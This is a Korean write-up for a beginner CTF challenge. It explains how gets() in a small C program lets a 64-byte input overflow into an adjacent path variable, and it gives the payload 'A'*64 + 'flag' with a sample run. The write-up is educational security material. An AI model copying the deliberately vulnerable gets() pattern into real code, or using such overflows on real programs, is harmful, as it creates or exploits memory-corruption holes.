2026 Layer7 신입생 CTF - 바꿔치기 풀이
2026 Layer7 신입생 CTF - 바꿔치기 문제 풀이
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
void read_file(char *path) {
char buf[128] = {0};
int fd = open(path, O_RDONLY);
read(fd, buf, sizeof(buf));
puts(buf);
close(fd);
}
int main() {
char path[16];
char input[64];
strcpy(path, "./sunrin");
printf("input: ");
gets(input);
read_file(path);
return 0;
}c문제 설명#
이 문제는 gets() 함수로 인해 발생하는 Buffer Overflow를 이용해서 스택에 있는 path 변수 값을 바꾸는 문제예요.
char path[16];
char input[64];
strcpy(path, "./sunrin");
printf("input: ");
gets(input);
read_file(path);c처음에는 path에 ./sunrin이 들어가 있어요.
그래서 원래라면 read_file("./sunrin")이 실행돼요.
하지만 gets(input)은 입력 길이를 제한하지 않기 때문에, input 버퍼 크기인 64 byte를 넘어서 입력하면 스택에 있는 다른 변수까지 덮어쓸 수 있어요.
스택에는 대략 아래와 같이 변수가 배치돼요.
input[64]
path[16]textinput에 64바이트보다 긴 값을 넣으면, 바로 뒤에 있는 path 값을 덮어쓸 수 있어요.
또한 gets(input);를 사용했기에 입력하는데 글자수 제한이 없어요.
풀이 방법#
path를 ./sunrin에서 flag로 바꾸면 돼요.
필요한 payload는 아래와 같아요.
"A" * 64 + "flag"textinput[64]를 A로 채우고, 그 뒤에 있는 path 영역을 flag로 덮어쓰는 방식이에요.
그러면 프로그램은 마지막에 아래 코드로 flag 파일을 읽게 돼요.
read_file(path);cimnyang@hako:~/t/baggourchigi > ./chall
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag
Layer7{**flag**}bash-----BEGIN SSH SIGNATURE-----
U1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAg4c/dn4BitGH1/xNjKoKEp97I2b
eU57QXvkDBEdNNrEMAAAATYmxvZy5pbW55YS5uZy9wb3N0cwAAAAAAAAAGc2hhNTEyAAAA
UwAAAAtzc2gtZWQyNTUxOQAAAEAaoiM+TQmAhn8kUwuwUGvQPXNz5vb7vwALRSGWuorCX3
oganUt5JReE9ZIfMfSq6ncq3igcj/hgVePAg05flUN
-----END SSH SIGNATURE-----